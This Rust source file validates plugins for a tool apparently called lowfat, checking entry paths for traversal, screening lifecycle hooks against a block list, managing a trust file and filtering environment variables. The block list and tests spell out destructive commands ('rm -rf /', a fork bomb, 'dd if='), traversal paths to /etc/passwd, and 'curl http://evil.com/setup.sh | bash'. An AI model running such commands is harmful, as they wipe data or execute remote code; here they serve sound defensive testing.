lowfat_plugin/
security.rs1use crate::manifest::PluginManifest;
4use std::collections::HashSet;
5use std::fs;
6use std::path::{Path, PathBuf};
7
8#[derive(Debug, thiserror::Error)]
9pub enum SecurityError {
10 #[error("path traversal detected: entry '{0}' escapes plugin directory")]
11 PathTraversal(String),
12 #[error("entry file not found: {0}")]
13 EntryNotFound(String),
14 #[error("entry is not a regular file: {0}")]
15 EntryNotFile(String),
16 #[error("dangerous hook detected: {0}")]
17 DangerousHook(String),
18}
19
20pub fn validate_plugin(manifest: &PluginManifest, base_dir: &Path) -> Result<(), SecurityError> {
22 validate_entry_path(manifest, base_dir)?;
23 validate_hooks(manifest)?;
24 Ok(())
25}
26
27fn validate_entry_path(manifest: &PluginManifest, base_dir: &Path) -> Result<(), SecurityError> {
29 let entry = &manifest.runtime.entry;
30
31 if entry.starts_with('/') || entry.starts_with('\\') {
32 return Err(SecurityError::PathTraversal(entry.clone()));
33 }
34 if entry.contains("..") {
35 return Err(SecurityError::PathTraversal(entry.clone()));
36 }
37
38 let resolved = base_dir.join(entry);
39 let canonical_base = base_dir
40 .canonicalize()
41 .unwrap_or_else(|_| base_dir.to_path_buf());
42 let canonical_entry = resolved
43 .canonicalize()
44 .map_err(|_| SecurityError::EntryNotFound(resolved.display().to_string()))?;
45
46 if !canonical_entry.starts_with(&canonical_base) {
47 return Err(SecurityError::PathTraversal(entry.clone()));
48 }
49 if !canonical_entry.is_file() {
50 return Err(SecurityError::EntryNotFile(
51 canonical_entry.display().to_string(),
52 ));
53 }
54
55 Ok(())
56}
57
58fn validate_hooks(manifest: &PluginManifest) -> Result<(), SecurityError> {
60 let dangerous_exact = [
61 "rm -rf /",
62 "rm -rf ~",
63 "rm -rf $HOME",
64 "eval $(curl",
65 "eval $(wget",
66 "> /dev/sda",
67 "mkfs.",
68 "dd if=",
69 ":(){ :|:& };:",
70 "chmod -R 777 /",
71 ];
72
73 let dangerous_pairs: &[(&str, &str)] = &[
74 ("curl", "| bash"),
75 ("curl", "| sh"),
76 ("wget", "| bash"),
77 ("wget", "| sh"),
78 ];
79
80 let hooks = [
81 ("on_install", manifest.hooks.as_ref().and_then(|h| h.on_install.as_deref())),
82 ("on_update", manifest.hooks.as_ref().and_then(|h| h.on_update.as_deref())),
83 ("on_remove", manifest.hooks.as_ref().and_then(|h| h.on_remove.as_deref())),
84 ];
85
86 for (hook_name, hook_cmd) in &hooks {
87 if let Some(cmd) = hook_cmd {
88 let lower = cmd.to_lowercase();
89 for pattern in &dangerous_exact {
90 if lower.contains(&pattern.to_lowercase()) {
91 return Err(SecurityError::DangerousHook(format!(
92 "{hook_name}: contains '{pattern}'"
93 )));
94 }
95 }
96 for (left, right) in dangerous_pairs {
97 if lower.contains(*left) && lower.contains(*right) {
98 return Err(SecurityError::DangerousHook(format!(
99 "{hook_name}: contains '{left} ... {right}'"
100 )));
101 }
102 }
103 }
104 }
105
106 Ok(())
107}
108
109fn trust_file(lowfat_home: &Path) -> PathBuf {
112 lowfat_home.join("trusted.toml")
113}
114
115pub fn is_trusted(plugin_name: &str, lowfat_home: &Path) -> bool {
116 let path = trust_file(lowfat_home);
117 if let Ok(content) = fs::read_to_string(&path) {
118 content.lines().any(|line| line.trim() == plugin_name)
119 } else {
120 false
121 }
122}
123
124pub fn trust_plugin(plugin_name: &str, lowfat_home: &Path) -> anyhow::Result<()> {
125 let path = trust_file(lowfat_home);
126 let mut content = fs::read_to_string(&path).unwrap_or_else(|_| "[trusted]\n".to_string());
127 if !content.lines().any(|l| l.trim() == plugin_name) {
128 content.push_str(&format!("{plugin_name}\n"));
129 fs::create_dir_all(lowfat_home)?;
130 fs::write(&path, content)?;
131 }
132 Ok(())
133}
134
135pub fn untrust_plugin(plugin_name: &str, lowfat_home: &Path) -> anyhow::Result<()> {
136 let path = trust_file(lowfat_home);
137 if let Ok(content) = fs::read_to_string(&path) {
138 let filtered: Vec<&str> = content
139 .lines()
140 .filter(|l| l.trim() != plugin_name)
141 .collect();
142 fs::write(&path, filtered.join("\n") + "\n")?;
143 }
144 Ok(())
145}
146
147const SAFE_ENV_VARS: &[&str] = &[
150 "LOWFAT_LEVEL", "RUNF_COMMAND", "RUNF_SUBCOMMAND", "RUNF_EXIT_CODE",
151 "PATH", "HOME", "USER", "SHELL", "LANG", "LC_ALL", "LC_CTYPE", "TERM", "TMPDIR",
152 "GIT_DIR", "GIT_WORK_TREE", "DOCKER_HOST", "KUBECONFIG",
153 "GOPATH", "GOROOT", "CARGO_HOME", "RUSTUP_HOME",
154 "NODE_PATH", "NPM_CONFIG_PREFIX", "VIRTUAL_ENV", "PYTHONPATH",
155];
156
157pub fn sanitized_env() -> Vec<(String, String)> {
158 let safe: HashSet<&str> = SAFE_ENV_VARS.iter().copied().collect();
159 std::env::vars()
160 .filter(|(k, _)| safe.contains(k.as_str()))
161 .collect()
162}
163
164#[cfg(test)]
165mod tests {
166 use super::*;
167 use crate::manifest::PluginManifest;
168
169 fn minimal_manifest(entry: &str) -> PluginManifest {
170 let toml = format!(
171 r#"
172[plugin]
173name = "test"
174commands = ["test"]
175
176[runtime]
177type = "node"
178entry = "{entry}"
179"#
180 );
181 PluginManifest::parse(&toml).unwrap()
182 }
183
184 #[test]
185 fn path_traversal_dotdot() {
186 let m = minimal_manifest("../../etc/passwd");
187 let result = validate_entry_path(&m, Path::new("/tmp/plugin"));
188 assert!(result.is_err());
189 }
190
191 #[test]
192 fn path_traversal_absolute() {
193 let m = minimal_manifest("/etc/passwd");
194 let result = validate_entry_path(&m, Path::new("/tmp/plugin"));
195 assert!(result.is_err());
196 }
197
198 #[test]
199 fn path_valid_relative() {
200 let tmp = tempfile::tempdir().unwrap();
201 let filter_path = tmp.path().join("filter.js");
202 fs::write(&filter_path, "console.log('ok')").unwrap();
203
204 let m = minimal_manifest("filter.js");
205 let result = validate_entry_path(&m, tmp.path());
206 assert!(result.is_ok());
207 }
208
209 #[test]
210 fn dangerous_hook_rm_rf() {
211 let toml = r#"
212[plugin]
213name = "evil"
214commands = ["test"]
215
216[runtime]
217type = "node"
218entry = "filter.js"
219
220[hooks]
221on_install = "rm -rf /"
222"#;
223 let m = PluginManifest::parse(toml).unwrap();
224 assert!(validate_hooks(&m).is_err());
225 }
226
227 #[test]
228 fn dangerous_hook_curl_pipe() {
229 let toml = r#"
230[plugin]
231name = "evil"
232commands = ["test"]
233
234[runtime]
235type = "node"
236entry = "filter.js"
237
238[hooks]
239on_install = "curl http://evil.com/setup.sh | bash"
240"#;
241 let m = PluginManifest::parse(toml).unwrap();
242 assert!(validate_hooks(&m).is_err());
243 }
244
245 #[test]
246 fn safe_hooks() {
247 let toml = r#"
248[plugin]
249name = "safe"
250commands = ["test"]
251
252[runtime]
253type = "node"
254entry = "filter.js"
255
256[hooks]
257on_install = "npm install"
258"#;
259 let m = PluginManifest::parse(toml).unwrap();
260 assert!(validate_hooks(&m).is_ok());
261 }
262
263 #[test]
264 fn env_sanitization() {
265 let env = sanitized_env();
266 let keys: HashSet<String> = env.iter().map(|(k, _)| k.clone()).collect();
267 assert!(!keys.contains("AWS_SECRET_ACCESS_KEY"));
268 assert!(!keys.contains("GITHUB_TOKEN"));
269 }
270
271 #[test]
272 fn trust_workflow() {
273 let tmp = tempfile::tempdir().unwrap();
274 assert!(!is_trusted("my-plugin", tmp.path()));
275 trust_plugin("my-plugin", tmp.path()).unwrap();
276 assert!(is_trusted("my-plugin", tmp.path()));
277 untrust_plugin("my-plugin", tmp.path()).unwrap();
278 assert!(!is_trusted("my-plugin", tmp.path()));
279 }
280}